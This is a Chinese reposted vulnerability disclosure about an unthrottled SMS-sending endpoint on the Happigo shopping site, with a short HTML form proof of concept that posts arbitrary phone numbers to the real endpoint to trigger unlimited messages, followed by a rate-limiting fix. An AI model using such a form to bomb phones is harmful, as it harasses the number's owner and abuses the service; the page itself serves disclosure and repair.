网站地图    收藏   

主页 > 后端 > 网站安全 >

快乐购物网短信无验证致轰炸漏洞 - 网站安全

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 可以利用本漏洞实现手机短信攻击,无验证,无限制发送.详细说明:已经发给自己好几十条了...可以一直发...HtmltitleMESSAG Test/titlebody form action=http://m.happigo.com/minisite/index.php ......

可以利用本漏洞实现手机短信攻击,无验证,无限制发送.
详细说明:已经发给自己好几十条了...
 
可以一直发...
 
<Html>
<title>MESSAG Test</title>
<body>
       <form action="http://m.happigo.com/minisite/index.php" method="post" enctype="multipart/form-data">
              <label for="file">Phone Number:</label>
              <input type="text" name="getmessage" maxlength=11/>
              <input type="submit" name="submit" value="submit" />
       </form>
</body>
</html>


 
 www.2cto.com
 
修复方案:

对同一号码短信发送时间进行限制...

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论